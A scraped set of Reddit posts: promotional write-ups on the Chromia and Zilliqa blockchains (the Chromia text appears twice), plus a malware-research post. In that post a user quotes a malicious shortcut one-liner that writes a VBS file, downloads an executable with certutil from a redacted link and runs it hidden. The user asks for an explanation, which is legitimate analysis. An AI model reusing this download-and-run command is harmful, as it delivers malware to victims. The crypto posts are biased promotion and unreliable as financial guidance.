The advantages of Chromunity as a decentralized social platform is how users can control their data and interactions, vote for representatives that implement the will and voice of the community.
Chromunity features a Reddit-like design and interface with the ability to post short/long meaningful content to a wide range of community categories or specific ones.
These screenshots give a sneak peek into how the interactive user interface looks like.
Green Asset Wallet
This is the first enterprise Dapp to launch on the Chromia chain after its main net release.
Using the quote of how the project defines itself.
"Green Assets Wallet is the world’s first blockchain-based platform for easy validation and impact reporting of green bonds".
The product has many features that are designed to suit investor's needs. From real-time collaboration to ensuring optimum trust and transparency to security. The Dapp is ideal for green bonds operations that look to make issuer and investors' lives an easier one.
Investors have direct access to trusted green bond information, metrics, and data.
Green asset wallet at allows investors to make new investment discoveries through search criteria, compare, benchmark, and follow up on investment opportunities".
Issuers are able to operate with an independent, cost-efficient, and structured system, and provide investors with impact investment opportunities and report on achievements.
Mines Of Dalarnia
Is "an action-adventure platform-mining game where the player controls a character and guides them through various blocks of earth, to discover and collect minerals of multiple rarities. Includes a blockchain based real-estate market".
Chromia transaction speed and computational efficiency make it an ideal platform to build decentralized or blockchain games of different kinds.
Play Mines Of Dalarnia
Conclusion
Chromia combines many groundbreaking features that purport it as a new generation blockchain and set it out among the crowd.
It's easy to code programming language, Postchain consortium, relational database system express qualities that fit different needs of decentralized applications and their operations. All of which state the chain strength and confidence of usage.
Under the governance of ChromaWay - an organization of tech experts and geeks. Chromia is expected to continue on an upward positive momentum.
Learn more about the project from it's official website
Their Telegram group chat is a good place to start interacting with the community.
Chromia has a Twitter presence and their Whitepaper is a good reference and tool to have a good overview of the project mission and vision at large.
submitted by Sidonpee to Teamchromia [link] [comments]

Why i’m bullish on Zilliqa (long read)

Hey all, I've been researching coins since 2017 and have gone through 100s of them in the last 3 years. I got introduced to blockchain via Bitcoin of course, analysed Ethereum thereafter and from that moment I have a keen interest in smart contact platforms. I’m passionate about Ethereum but I find Zilliqa to have a better risk reward ratio. Especially because Zilliqa has found an elegant balance between being secure, decentralised and scalable in my opinion.
 
Below I post my analysis why from all the coins I went through I’m most bullish on Zilliqa (yes I went through Tezos, EOS, NEO, VeChain, Harmony, Algorand, Cardano etc.). Note that this is not investment advice and although it's a thorough analysis there is obviously some bias involved. Looking forward to what you all think!
 
Fun fact: the name Zilliqa is a play on ‘silica’ silicon dioxide which means “Silicon for the high-throughput consensus computer.”
 
This post is divided into (i) Technology, (ii) Business & Partnerships, and (iii) Marketing & Community. I’ve tried to make the technology part readable for a broad audience. If you’ve ever tried understanding the inner workings of Bitcoin and Ethereum you should be able to grasp most parts. Otherwise just skim through and once you are zoning out head to the next part.
 
Technology and some more:
 
Introduction The technology is one of the main reasons why I’m so bullish on Zilliqa. First thing you see on their website is: “Zilliqa is a high-performance, high-security blockchain platform for enterprises and next-generation applications.” These are some bold statements.
 
Before we deep dive into the technology let’s take a step back in time first as they have quite the history. The initial research paper from which Zilliqa originated dates back to August 2016: Elastico: A Secure Sharding Protocol For Open Blockchains where Loi Luu (Kyber Network) is one of the co-authors. Other ideas that led to the development of what Zilliqa has become today are: Bitcoin-NG, collective signing CoSi, ByzCoin and Omniledger.
 
The technical white paper was made public in August 2017 and since then they have achieved everything stated in the white paper and also created their own open source intermediate level smart contract language called Scilla (functional programming language similar to OCaml) too.
 
Mainnet is live since end of January 2019 with daily transaction rate growing continuously. About a week ago mainnet reached 5 million transactions, 500.000+ addresses in total along with 2400 nodes keeping the network decentralised and secure. Circulating supply is nearing 11 billion and currently only mining rewards are left. Maximum supply is 21 billion with annual inflation being 7.13% currently and will only decrease with time.
 
Zilliqa realised early on that the usage of public cryptocurrencies and smart contracts were increasing but decentralised, secure and scalable alternatives were lacking in the crypto space. They proposed to apply sharding onto a public smart contract blockchain where the transaction rate increases almost linear with the increase in amount of nodes. More nodes = higher transaction throughput and increased decentralisation. Sharding comes in many forms and Zilliqa uses network-, transaction- and computational sharding. Network sharding opens up the possibility of using transaction- and computational sharding on top. Zilliqa does not use state sharding for now. We’ll come back to this later.
 
Before we continue disecting how Zilliqa achieves such from a technological standpoint it’s good to keep in mind that a blockchain being decentralised and secure and scalable is still one of the main hurdles in allowing widespread usage of decentralised networks. In my opinion this needs to be solved first before blockchains can get to the point where they can create and add large scale value. So I invite you to read the next section to grasp the underlying fundamentals. Because after all these premises need to be true otherwise there isn’t a fundamental case to be bullish on Zilliqa, right?
 
Down the rabbit hole
 
How have they achieved this? Let’s define the basics first: key players on Zilliqa are the users and the miners. A user is anybody who uses the blockchain to transfer funds or run smart contracts. Miners are the (shard) nodes in the network who run the consensus protocol and get rewarded for their service in Zillings (ZIL). The mining network is divided into several smaller networks called shards, which is also referred to as ‘network sharding’. Miners subsequently are randomly assigned to a shard by another set of miners called DS (Directory Service) nodes. The regular shards process transactions and the outputs of these shards are eventually combined by the DS shard as they reach consensus on the final state. More on how these DS shards reach consensus (via pBFT) will be explained later on.
 
The Zilliqa network produces two types of blocks: DS blocks and Tx blocks. One DS Block consists of 100 Tx Blocks. And as previously mentioned there are two types of nodes concerned with reaching consensus: shard nodes and DS nodes. Becoming a shard node or DS node is being defined by the result of a PoW cycle (Ethash) at the beginning of the DS Block. All candidate mining nodes compete with each other and run the PoW (Proof-of-Work) cycle for 60 seconds and the submissions achieving the highest difficulty will be allowed on the network. And to put it in perspective: the average difficulty for one DS node is ~ 2 Th/s equaling 2.000.000 Mh/s or 55 thousand+ GeForce GTX 1070 / 8 GB GPUs at 35.4 Mh/s. Each DS Block 10 new DS nodes are allowed. And a shard node needs to provide around 8.53 GH/s currently (around 240 GTX 1070s). Dual mining ETH/ETC and ZIL is possible and can be done via mining software such as Phoenix and Claymore. There are pools and if you have large amounts of hashing power (Ethash) available you could mine solo.
 
The PoW cycle of 60 seconds is a peak performance and acts as an entry ticket to the network. The entry ticket is called a sybil resistance mechanism and makes it incredibly hard for adversaries to spawn lots of identities and manipulate the network with these identities. And after every 100 Tx Blocks which corresponds to roughly 1,5 hour this PoW process repeats. In between these 1,5 hour no PoW needs to be done meaning Zilliqa’s energy consumption to keep the network secure is low. For more detailed information on how mining works click here.
Okay, hats off to you. You have made it this far. Before we go any deeper down the rabbit hole we first must understand why Zilliqa goes through all of the above technicalities and understand a bit more what a blockchain on a more fundamental level is. Because the core of Zilliqa’s consensus protocol relies on the usage of pBFT (practical Byzantine Fault Tolerance) we need to know more about state machines and their function. Navigate to Viewblock, a Zilliqa block explorer, and just come back to this article. We will use this site to navigate through a few concepts.
 
We have established that Zilliqa is a public and distributed blockchain. Meaning that everyone with an internet connection can send ZILs, trigger smart contracts etc. and there is no central authority who fully controls the network. Zilliqa and other public and distributed blockchains (like Bitcoin and Ethereum) can also be defined as state machines.
 
Taking the liberty of paraphrasing examples and definitions given by Samuel Brooks’ medium article, he describes the definition of a blockchain (like Zilliqa) as:
“A peer-to-peer, append-only datastore that uses consensus to synchronise cryptographically-secure data”.
 
Next he states that: >“blockchains are fundamentally systems for managing valid state transitions”.* For some more context, I recommend reading the whole medium article to get a better grasp of the definitions and understanding of state machines. Nevertheless, let’s try to simplify and compile it into a single paragraph. Take traffic lights as an example: all its states (red, amber and green) are predefined, all possible outcomes are known and it doesn’t matter if you encounter the traffic light today or tomorrow. It will still behave the same. Managing the states of a traffic light can be done by triggering a sensor on the road or pushing a button resulting in one traffic lights’ state going from green to red (via amber) and another light from red to green.
 
With public blockchains like Zilliqa this isn’t so straightforward and simple. It started with block #1 almost 1,5 years ago and every 45 seconds or so a new block linked to the previous block is being added. Resulting in a chain of blocks with transactions in it that everyone can verify from block #1 to the current #647.000+ block. The state is ever changing and the states it can find itself in are infinite. And while the traffic light might work together in tandem with various other traffic lights, it’s rather insignificant comparing it to a public blockchain. Because Zilliqa consists of 2400 nodes who need to work together to achieve consensus on what the latest valid state is while some of these nodes may have latency or broadcast issues, drop offline or are deliberately trying to attack the network etc.
 
Now go back to the Viewblock page take a look at the amount of transaction, addresses, block and DS height and then hit refresh. Obviously as expected you see new incremented values on one or all parameters. And how did the Zilliqa blockchain manage to transition from a previous valid state to the latest valid state? By using pBFT to reach consensus on the latest valid state.
 
After having obtained the entry ticket, miners execute pBFT to reach consensus on the ever changing state of the blockchain. pBFT requires a series of network communication between nodes, and as such there is no GPU involved (but CPU). Resulting in the total energy consumed to keep the blockchain secure, decentralised and scalable being low.
 
pBFT stands for practical Byzantine Fault Tolerance and is an optimisation on the Byzantine Fault Tolerant algorithm. To quote Blockonomi: “In the context of distributed systems, Byzantine Fault Tolerance is the ability of a distributed computer network to function as desired and correctly reach a sufficient consensus despite malicious components (nodes) of the system failing or propagating incorrect information to other peers.” Zilliqa is such a distributed computer network and depends on the honesty of the nodes (shard and DS) to reach consensus and to continuously update the state with the latest block. If pBFT is a new term for you I can highly recommend the Blockonomi article.
 
The idea of pBFT was introduced in 1999 - one of the authors even won a Turing award for it - and it is well researched and applied in various blockchains and distributed systems nowadays. If you want more advanced information than the Blockonomi link provides click here. And if you’re in between Blockonomi and University of Singapore read the Zilliqa Design Story Part 2 dating from October 2017.
Quoting from the Zilliqa tech whitepaper: “pBFT relies upon a correct leader (which is randomly selected) to begin each phase and proceed when the sufficient majority exists. In case the leader is byzantine it can stall the entire consensus protocol. To address this challenge, pBFT offers a view change protocol to replace the byzantine leader with another one.”
 
pBFT can tolerate ⅓ of the nodes being dishonest (offline counts as Byzantine = dishonest) and the consensus protocol will function without stalling or hiccups. Once there are more than ⅓ of dishonest nodes but no more than ⅔ the network will be stalled and a view change will be triggered to elect a new DS leader. Only when more than ⅔ of the nodes are dishonest (>66%) double spend attacks become possible.
 
If the network stalls no transactions can be processed and one has to wait until a new honest leader has been elected. When the mainnet was just launched and in its early phases, view changes happened regularly. As of today the last stalling of the network - and view change being triggered - was at the end of October 2019.
 
Another benefit of using pBFT for consensus besides low energy is the immediate finality it provides. Once your transaction is included in a block and the block is added to the chain it’s done. Lastly, take a look at this article where three types of finality are being defined: probabilistic, absolute and economic finality. Zilliqa falls under the absolute finality (just like Tendermint for example). Although lengthy already we skipped through some of the inner workings from Zilliqa’s consensus: read the Zilliqa Design Story Part 3 and you will be close to having a complete picture on it. Enough about PoW, sybil resistance mechanism, pBFT etc. Another thing we haven’t looked at yet is the amount of decentralisation.
 
Decentralisation
 
Currently there are four shards, each one of them consisting of 600 nodes. 1 shard with 600 so called DS nodes (Directory Service - they need to achieve a higher difficulty than shard nodes) and 1800 shard nodes of which 250 are shard guards (centralised nodes controlled by the team). The amount of shard guards has been steadily declining from 1200 in January 2019 to 250 as of May 2020. On the Viewblock statistics you can see that many of the nodes are being located in the US but those are only the (CPU parts of the) shard nodes who perform pBFT. There is no data from where the PoW sources are coming. And when the Zilliqa blockchain starts reaching their transaction capacity limit, a network upgrade needs to be executed to lift the current cap of maximum 2400 nodes to allow more nodes and formation of more shards which will allow to network to keep on scaling according to demand.
Besides shard nodes there are also seed nodes. The main role of seed nodes is to serve as direct access points (for end users and clients) to the core Zilliqa network that validates transactions. Seed nodes consolidate transaction requests and forward these to the lookup nodes (another type of nodes) for distribution to the shards in the network. Seed nodes also maintain the entire transaction history and the global state of the blockchain which is needed to provide services such as block explorers. Seed nodes in the Zilliqa network are comparable to Infura on Ethereum.
 
The seed nodes were first only operated by Zilliqa themselves, exchanges and Viewblock. Operators of seed nodes like exchanges had no incentive to open them for the greater public.They were centralised at first. Decentralisation at the seed nodes level has been steadily rolled out since March 2020 ( Zilliqa Improvement Proposal 3 ). Currently the amount of seed nodes is being increased, they are public facing and at the same time PoS is applied to incentivize seed node operators and make it possible for ZIL holders to stake and earn passive yields. Important distinction: seed nodes are not involved with consensus! That is still PoW as entry ticket and pBFT for the actual consensus.
 
5% of the block rewards are being assigned to seed nodes (from the beginning in 2019) and those are being used to pay out ZIL stakers.The 5% block rewards with an annual yield of 10.03% translates to roughly 610 MM ZILs in total that can be staked. Exchanges use the custodial variant of staking and wallets like Moonlet will use the non custodial version (starting in Q3 2020). Staking is being done by sending ZILs to a smart contract created by Zilliqa and audited by Quantstamp.
 
With a high amount of DS & shard nodes and seed nodes becoming more decentralised too, Zilliqa qualifies for the label of decentralised in my opinion.
 
Smart contracts
 
Let me start by saying I’m not a developer and my programming skills are quite limited. So I‘m taking the ELI5 route (maybe 12) but if you are familiar with Javascript, Solidity or specifically OCaml please head straight to Scilla - read the docs to get a good initial grasp of how Zilliqa’s smart contract language Scilla works and if you ask yourself “why another programming language?” check this article. And if you want to play around with some sample contracts in an IDE click here. Faucet can be found here. And more information on architecture, dapp development and API can be found on the Developer Portal.
If you are more into listening and watching: check this recent webinar explaining Zilliqa and Scilla. Link is time stamped so you’ll start right away with a platform introduction, R&D roadmap 2020 and afterwards a proper Scilla introduction.
 
Generalised: programming languages can be divided into being ‘object oriented’ or ‘functional’. Here is an ELI5 given by software development academy: > “all programmes have two basic components, data – what the programme knows – and behaviour – what the programme can do with that data. So object-oriented programming states that combining data and related behaviours in one place, is called “object”, which makes it easier to understand how a particular program works. On the other hand, functional programming argues that data and behaviour are different things and should be separated to ensure their clarity.”
 
Scilla is on the functional side and shares similarities with OCaml: > OCaml is a general purpose programming language with an emphasis on expressiveness and safety. It has an advanced type system that helps catch your mistakes without getting in your way. It's used in environments where a single mistake can cost millions and speed matters, is supported by an active community, and has a rich set of libraries and development tools. For all its power, OCaml is also pretty simple, which is one reason it's often used as a teaching language.
 
Scilla is blockchain agnostic, can be implemented onto other blockchains as well, is recognised by academics and won a so called Distinguished Artifact Award award at the end of last year.
 
One of the reasons why the Zilliqa team decided to create their own programming language focused on preventing smart contract vulnerabilities safety is that adding logic on a blockchain, programming, means that you cannot afford to make mistakes. Otherwise it could cost you. It’s all great and fun blockchains being immutable but updating your code because you found a bug isn’t the same as with a regular web application for example. And with smart contracts it inherently involves cryptocurrencies in some form thus value.
 
Another difference with programming languages on a blockchain is gas. Every transaction you do on a smart contract platform like Zilliqa for Ethereum costs gas. With gas you basically pay for computational costs. Sending a ZIL from address A to address B costs 0.001 ZIL currently. Smart contracts are more complex, often involve various functions and require more gas (if gas is a new concept click here ).
 
So with Scilla, similar to Solidity, you need to make sure that “every function in your smart contract will run as expected without hitting gas limits. An improper resource analysis may lead to situations where funds may get stuck simply because a part of the smart contract code cannot be executed due to gas limits. Such constraints are not present in traditional software systems”. Scilla design story part 1
 
Some examples of smart contract issues you’d want to avoid are: leaking funds, ‘unexpected changes to critical state variables’ (example: someone other than you setting his or her address as the owner of the smart contract after creation) or simply killing a contract.
 
Scilla also allows for formal verification. Wikipedia to the rescue:
In the context of hardware and software systems, formal verification is the act of proving or disproving the correctness of intended algorithms underlying a system with respect to a certain formal specification or property, using formal methods of mathematics.
 
Formal verification can be helpful in proving the correctness of systems such as: cryptographic protocols, combinational circuits, digital circuits with internal memory, and software expressed as source code.
 
Scilla is being developed hand-in-hand with formalization of its semantics and its embedding into the Coq proof assistant — a state-of-the art tool for mechanized proofs about properties of programs.”
 
Simply put, with Scilla and accompanying tooling developers can be mathematically sure and proof that the smart contract they’ve written does what he or she intends it to do.
 
Smart contract on a sharded environment and state sharding
 
There is one more topic I’d like to touch on: smart contract execution in a sharded environment (and what is the effect of state sharding). This is a complex topic. I’m not able to explain it any easier than what is posted here. But I will try to compress the post into something easy to digest.
 
Earlier on we have established that Zilliqa can process transactions in parallel due to network sharding. This is where the linear scalability comes from. We can define simple transactions: a transaction from address A to B (Category 1), a transaction where a user interacts with one smart contract (Category 2) and the most complex ones where triggering a transaction results in multiple smart contracts being involved (Category 3). The shards are able to process transactions on their own without interference of the other shards. With Category 1 transactions that is doable, with Category 2 transactions sometimes if that address is in the same shard as the smart contract but with Category 3 you definitely need communication between the shards. Solving that requires to make a set of communication rules the protocol needs to follow in order to process all transactions in a generalised fashion.
 
And this is where the downsides of state sharding comes in currently. All shards in Zilliqa have access to the complete state. Yes the state size (0.1 GB at the moment) grows and all of the nodes need to store it but it also means that they don’t need to shop around for information available on other shards. Requiring more communication and adding more complexity. Computer science knowledge and/or developer knowledge required links if you want to dig further: Scilla - language grammar Scilla - Foundations for Verifiable Decentralised Computations on a Blockchain Gas Accounting NUS x Zilliqa: Smart contract language workshop
 
Easier to follow links on programming Scilla https://learnscilla.com/home Ivan on Tech
 
Roadmap / Zilliqa 2.0
 
There is no strict defined roadmap but here are topics being worked on. And via the Zilliqa website there is also more information on the projects they are working on.
 
Business & Partnerships  
It’s not only technology in which Zilliqa seems to be excelling as their ecosystem has been expanding and starting to grow rapidly. The project is on a mission to provide OpenFinance (OpFi) to the world and Singapore is the right place to be due to its progressive regulations and futuristic thinking. Singapore has taken a proactive approach towards cryptocurrencies by introducing the Payment Services Act 2019 (PS Act). Among other things, the PS Act will regulate intermediaries dealing with certain cryptocurrencies, with a particular focus on consumer protection and anti-money laundering. It will also provide a stable regulatory licensing and operating framework for cryptocurrency entities, effectively covering all crypto businesses and exchanges based in Singapore. According to PWC 82% of the surveyed executives in Singapore reported blockchain initiatives underway and 13% of them have already brought the initiatives live to the market. There is also an increasing list of organisations that are starting to provide digital payment services. Moreover, Singaporean blockchain developers Building Cities Beyond has recently created an innovation $15 million grant to encourage development on its ecosystem. This all suggest that Singapore tries to position itself as (one of) the leading blockchain hubs in the world.
 
Zilliqa seems to already taking advantage of this and recently helped launch Hg Exchange on their platform, together with financial institutions PhillipCapital, PrimePartners and Fundnel. Hg Exchange, which is now approved by the Monetary Authority of Singapore (MAS), uses smart contracts to represent digital assets. Through Hg Exchange financial institutions worldwide can use Zilliqa's safe-by-design smart contracts to enable the trading of private equities. For example, think of companies such as Grab, AirBnB, SpaceX that are not available for public trading right now. Hg Exchange will allow investors to buy shares of private companies & unicorns and capture their value before an IPO. Anquan, the main company behind Zilliqa, has also recently announced that they became a partner and shareholder in TEN31 Bank, which is a fully regulated bank allowing for tokenization of assets and is aiming to bridge the gap between conventional banking and the blockchain world. If STOs, the tokenization of assets, and equity trading will continue to increase, then Zilliqa’s public blockchain would be the ideal candidate due to its strategic positioning, partnerships, regulatory compliance and the technology that is being built on top of it.
 
What is also very encouraging is their focus on banking the un(der)banked. They are launching a stablecoin basket starting with XSGD. As many of you know, stablecoins are currently mostly used for trading. However, Zilliqa is actively trying to broaden the use case of stablecoins. I recommend everybody to read this text that Amrit Kumar wrote (one of the co-founders). These stablecoins will be integrated in the traditional markets and bridge the gap between the crypto world and the traditional world. This could potentially revolutionize and legitimise the crypto space if retailers and companies will for example start to use stablecoins for payments or remittances, instead of it solely being used for trading.
 
Zilliqa also released their DeFi strategic roadmap (dating November 2019) which seems to be aligning well with their OpFi strategy. A non-custodial DEX is coming to Zilliqa made by Switcheo which allows cross-chain trading (atomic swaps) between ETH, EOS and ZIL based tokens. They also signed a Memorandum of Understanding for a (soon to be announced) USD stablecoin. And as Zilliqa is all about regulations and being compliant, I’m speculating on it to be a regulated USD stablecoin. Furthermore, XSGD is already created and visible on block explorer and XIDR (Indonesian Stablecoin) is also coming soon via StraitsX. Here also an overview of the Tech Stack for Financial Applications from September 2019. Further quoting Amrit Kumar on this:
 
There are two basic building blocks in DeFi/OpFi though: 1) stablecoins as you need a non-volatile currency to get access to this market and 2) a dex to be able to trade all these financial assets. The rest are build on top of these blocks.
 
So far, together with our partners and community, we have worked on developing these building blocks with XSGD as a stablecoin. We are working on bringing a USD-backed stablecoin as well. We will soon have a decentralised exchange developed by Switcheo. And with HGX going live, we are also venturing into the tokenization space. More to come in the future.”*
 
Additionally, they also have this ZILHive initiative that injects capital into projects. There have been already 6 waves of various teams working on infrastructure, innovation and research, and they are not from ASEAN or Singapore only but global: see Grantees breakdown by country. Over 60 project teams from over 20 countries have contributed to Zilliqa's ecosystem. This includes individuals and teams developing wallets, explorers, developer toolkits, smart contract testing frameworks, dapps, etc. As some of you may know, Unstoppable Domains (UD) blew up when they launched on Zilliqa. UD aims to replace cryptocurrency addresses with a human readable name and allows for uncensorable websites. Zilliqa will probably be the only one able to handle all these transactions onchain due to ability to scale and its resulting low fees which is why the UD team launched this on Zilliqa in the first place. Furthermore, Zilliqa also has a strong emphasis on security, compliance, and privacy, which is why they partnered with companies like Elliptic, ChainSecurity (part of PwC Switzerland), and Incognito. Their sister company Aqilliz (Zilliqa spelled backwards) focuses on revolutionizing the digital advertising space and is doing interesting things like using Zilliqa to track outdoor digital ads with companies like Foodpanda.
 
Zilliqa is listed on nearly all major exchanges, having several different fiat-gateways and recently have been added to Binance’s margin trading and futures trading with really good volume. They also have a very impressive team with good credentials and experience. They dont just have “tech people”. They have a mix of tech people, business people, marketeers, scientists, and more. Naturally, it's good to have a mix of people with different skill sets if you work in the crypto space.
 
Marketing & Community
 
Zilliqa has a very strong community. If you just follow their Twitter their engagement is much higher for a coin that has approximately 80k followers. They also have been ‘coin of the day’ by LunarCrush many times. LunarCrush tracks real-time cryptocurrency value and social data. According to their data it seems Zilliqa has a more fundamental and deeper understanding of marketing and community engagement than almost all other coins. While almost all coins have been a bit frozen in the last months, Zilliqa seems to be on its own bull run. It was somewhere in the 100s a few months ago and is currently ranked #46 on CoinGecko. Their official Telegram also has over 20k people and is very active, and their community channel which is over 7k now is more active and larger than many other official channels. Their local communities) also seem to be growing.
 
Moreover, their community started ‘Zillacracy’ together with the Zilliqa core team ( see www.zillacracy.com ). It’s a community run initiative where people from all over the world are now helping with marketing and development on Zilliqa. Since its launch in February 2020 they have been doing a lot and will also run their own non custodial seed node for staking. This seed node will also allow them to start generating revenue for them to become a self sustaining entity that could potentially scale up to become a decentralized company working in parallel with the Zilliqa core team. Comparing it to all the other smart contract platforms (e.g. Cardano, EOS, Tezos etc.) they don't seem to have started a similar initiatives (correct me if I’m wrong though). This suggest in my opinion that these other smart contract platforms do not fully understand how to utilize the ‘power of the community’. This is something you cannot ‘buy with money’ and gives many projects in the space a disadvantage.
 
Zilliqa also released two social products called SocialPay and Zeeves. SocialPay allows users to earn ZILs while tweeting with a specific hashtag. They have recently used it in partnership with the Singapore Red Cross for a marketing campaign after their initial pilot program. It seems like a very valuable social product with a good use case. I can see a lot of traditional companies entering the space through this product, which they seem to suggest will happen. Tokenizing hashtags with smart contracts to get network effect is a very smart and innovative idea.
 
Regarding Zeeves, this is a tipping bot for Telegram. They already have 1000s of signups and they plan to keep upgrading it for more and more people to use it (e.g. they recently have added a quiz features). They also use it during AMAs to reward people in real time. It’s a very smart approach to grow their communities and get familiar with ZIL. I can see this becoming very big on Telegram. This tool suggests, again, that the Zilliqa team has a deeper understanding what the crypto space and community needs and is good at finding the right innovative tools to grow and scale.
 
To be honest, I haven’t covered everything (i’m also reaching the character limited haha). So many updates happening lately that it's hard to keep up, such as the International Monetary Fund mentioning Zilliqa in their report, custodial and non-custodial Staking, Binance Margin, Futures & Widget, entering the Indian market, and more. The Head of Marketing Colin Miles has also released this as an overview of what is coming next. And last but not least, Vitalik Buterin has been mentioning Zilliqa lately acknowledging Zilliqa and mentioning that both projects have a lot of room to grow. There is much more info of course and a good part of it has been served to you on a silver platter. I invite you to continue researching by yourself :-) And if you have any comments or questions please post here!
submitted by haveyouheardaboutit to CryptoCurrency [link] [comments]

Got owned by a malicious torrent, and want to understand how it works

hi folks,
recently I got really sloppy and ended up downloading a malware... it was supposed to be a Bojack Horseman Hentai (just kidding haha) , but happened to be a malware... the file itself was a shortcut with the following commands... after all, I ran in a VM, and it seems to be a bitcoin miner or something like that... but I want to understand each part of this shortcut, because it makes a lot and is actually small and apparently doesn't need any other file to trigger, but I have no knowledge on VB or windows scripting.. if you can help please...

shortcut:
%ComSpec% /c
echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache
-f https://SOME_MALICIUS_LINK_HERE=berivel_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe""
&&""%USERNAME%.exe""",0 >"%USERNAME%.vbs"&"%USERNAME%.vbs"
----------------------------------------------------------------------------------
I change the link there, but it actually had this line breaks in the text...Here is what I manage to understand the step by step: (please correct me if I'm wrong)
- %ComSpec% /c shortcut to CMD and /c to run what comes next
- echo ???? I don't get why echoing here...
- CreateObject("Wscript.Shell") probably creating a script, is it VB script?
- .Run probably running it..
-"""%ComSpec%"" /c run again the cmd, I don't get why, also don't get this many quotations marks
- del ""%USERNAME%.vbs"" deleting a vbs file named with the username, which didn't even exist before? where did it create it in the first place? once again, why double double quotes?
- &certutil -urlcache - this mess something with the certificates on the OS, right? what exactly does?
- -f https://SOME_MALICIUS_LINK_HERE=berivel_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe"" this -f is a parameter for the previous command, what is it? and next is where I think the magic happens, I change the link because I don't know if it's safe.. and it passes the processor and a exe which was probably recently created as args... when did it create this process?
- &&""%USERNAME%.exe""",0 now I think it runs this recently created exe, again with the ""quotes"", and what about this ,0 ??
- >"%USERNAME%.vbs"&"%USERNAME%.vbs" I think this > is saving it to a file, but I got no clue about this trick of using & and itself again... what is happening there?
that is it! is that everything it needed to work, or did I probably miss some file? can someone help me to understand it better? a step by step would be very clarifying
submitted by danieldiast to MalwareResearch [link] [comments]

Chromia - Blockchain of Blockchains That Has Staged To Revolutionize Decentralized Application Development

Blockchain has taken the world by storm. The tech may have been envisioned to power decentralized finance in Bitcoin, it's potential and use case had far exceeded such identity.
It has opened the possibility to develop trust and openness in a way that has never been expressed before.
However, like any new development, blockchain has many challenges that need to be addressed.
Firstly, existing protocols that power the initial set of blockchains are too slow to garner advanced real-world usage.
Their architectural build also implies they are unable to scale accordingly to meet application and usage demand.
Blockchains are renowned for their strong security and immutability, nonetheless, these factors rely solely on the type of protocol or consensus adopted, and in many cases, the consensus of a particular blockchain may fail to establish a secured environment that could be relied upon under factual circumstances.
On the developer end, developing and building blockchain applications is a nightmare many wanted to escape because most integrated blockchain programming languages are new with an unestablished root. This means programmers have to learn a new language from basics before they can start building on a blockchain network.
The hardest part is that almost each of every type and brand of blockchain has its unique programming language which as a result contributes to non-interoperability that led to a status quo of blockchains being called an "island of self-isolation".
An obvious solution to most of the aforementioned downsides is to start restructuring how blockchains are made by design and code.
The good news is that a blockchain project with a new root has already achieved the feat of addressing most of these problems by building a relational blockchain system governed by a management system termed "Postchain".
I am talking about Chromia blockchain network built by the ChromaWay development team.
Chromia
Chromia is a public blockchain with a relational database system build and design. What this means is that data can be structured and defined in any way by the builder of the system. This flexibility of data management allows for different usage scenarios.
This is a sweet pot for developers but what is more interesting is the ability to code and deploy applications in a seamless manner.
Chroma uses Postchain to oversee the operation of its blockchain network in conjunction with a flexible and easy-to-code programming language called RELL (Relational Language).
Great protocol design? Thumb up! Nice programming language... Interesting! But what about other challenges mentioned in the opening part of the post?
Hell yeah! A blockchain system cannot be duly considered if it can't scale and operate at a good speed.
Chromia takes this factor to heart and ensures its network is able to process transactions at a block rate of 2 seconds, which is more than enough to support most applications and commercial usage.
Blockchain Of Blockchains: Chromia Modular Configuration
One method spam is avoided on blockchain networks is through integrated fee structure, most times, this is charged directly from users. However, Chromia thinks this idea should be rewritten by instead charging Dapps directly for the operation they perform.
Consequently, and since most application usage differs from one type to another. This and many other implementations led to a modular blockchain design where each Dapp can reside on its own chain, dictate its own rule and usage and intended fee structure.
The Dapps in this case acts like side chains that are attached to the governing Chromia infrastructure. Each Dapp or side chain is independent but benefits from the security and laid facilities of the network.
Chromia adopted PBFT consensus to ensure consensus can be achieved under certain rules even if some node in the network cannot be relied upon at a time, thus, eliminating incidents such as 'one point of failure'.
An Infrastructure For A Wide Range Of Usage Scenario
Chromia launched its main net in Dec 2019, and moved from an experimental position to prove their dedication towards achieving their vision not just on paper but as a practical and working process.
Ever since their main net launch. The chain has seen different types of apps deploy on its network.
The network relational design also means Dapps with huge computational demand can work efficiently and seamlessly with any cause to worry.
Let's look at some of these Dapps.
Chromunity
A decentralized social media platform that leverages the advantage of the relational computational build of Chromia to bring about fantastic social and community user experience.
The advantages of Chromunity as a decentralized social platform is how users can control their data and interactions, vote for representatives that implement the will and voice of the community.
Chromunity features a Reddit-like design and interface with the ability to post short/long meaningful content to a wide range of community categories or specific ones.
These screenshots give a sneak peek into how the interactive user interface looks like.
Green Asset Wallet
This is the first enterprise Dapp to launch on the Chromia chain after its main net release.
Using the quote of how the project defines itself.
"Green Assets Wallet is the world’s first blockchain-based platform for easy validation and impact reporting of green bonds".
The product has many features that are designed to suit investor's needs. From real-time collaboration to ensuring optimum trust and transparency to security. The Dapp is ideal for green bonds operations that look to make issuer and investors' lives an easier one.
Investors have direct access to trusted green bond information, metrics, and data.
Green asset wallet at allows investors to make new investment discoveries through search criteria, compare, benchmark, and follow up on investment opportunities".
Issuers are able to operate with an independent, cost-efficient, and structured system, and provide investors with impact investment opportunities and report on achievements.
Mines Of Dalarnia
Is "an action-adventure platform-mining game where the player controls a character and guides them through various blocks of earth, to discover and collect minerals of multiple rarities. Includes a blockchain based real-estate market".
Chromia transaction speed and computational efficiency make it an ideal platform to build decentralized or blockchain games of different kinds.
Play Mines Of Dalarnia
Conclusion
Chromia combines many groundbreaking features that purport it as a new generation blockchain and set it out among the crowd.
It's easy to code programming language, Postchain consortium, relational database system express qualities that fit different needs of decentralized applications and their operations. All of which state the chain strength and confidence of usage.
Under the governance of ChromaWay - an organization of tech experts and geeks. Chromia is expected to continue on an upward positive momentum.
Learn more about the project from it's official website
Their Telegram group chat is a good place to start interacting with the community.
Chromia has a Twitter presence and their Whitepaper is a good reference and tool to have a good overview of the project mission and vision at large.
submitted by Sidonpee to u/Sidonpee [link] [comments]

[Discord Conv.] Salute to Crazy ones

Disclaimer:
This is my editing. So there could be some misunderstandings.
Even if u/longfld posted similar screenshots already(thanks to him/her), I'd like to share this summary again, 'cause it has some more contents.
Sometimes, we need more enjoyable stuff to read on this rough, dynamic ride to a new world.

2/18
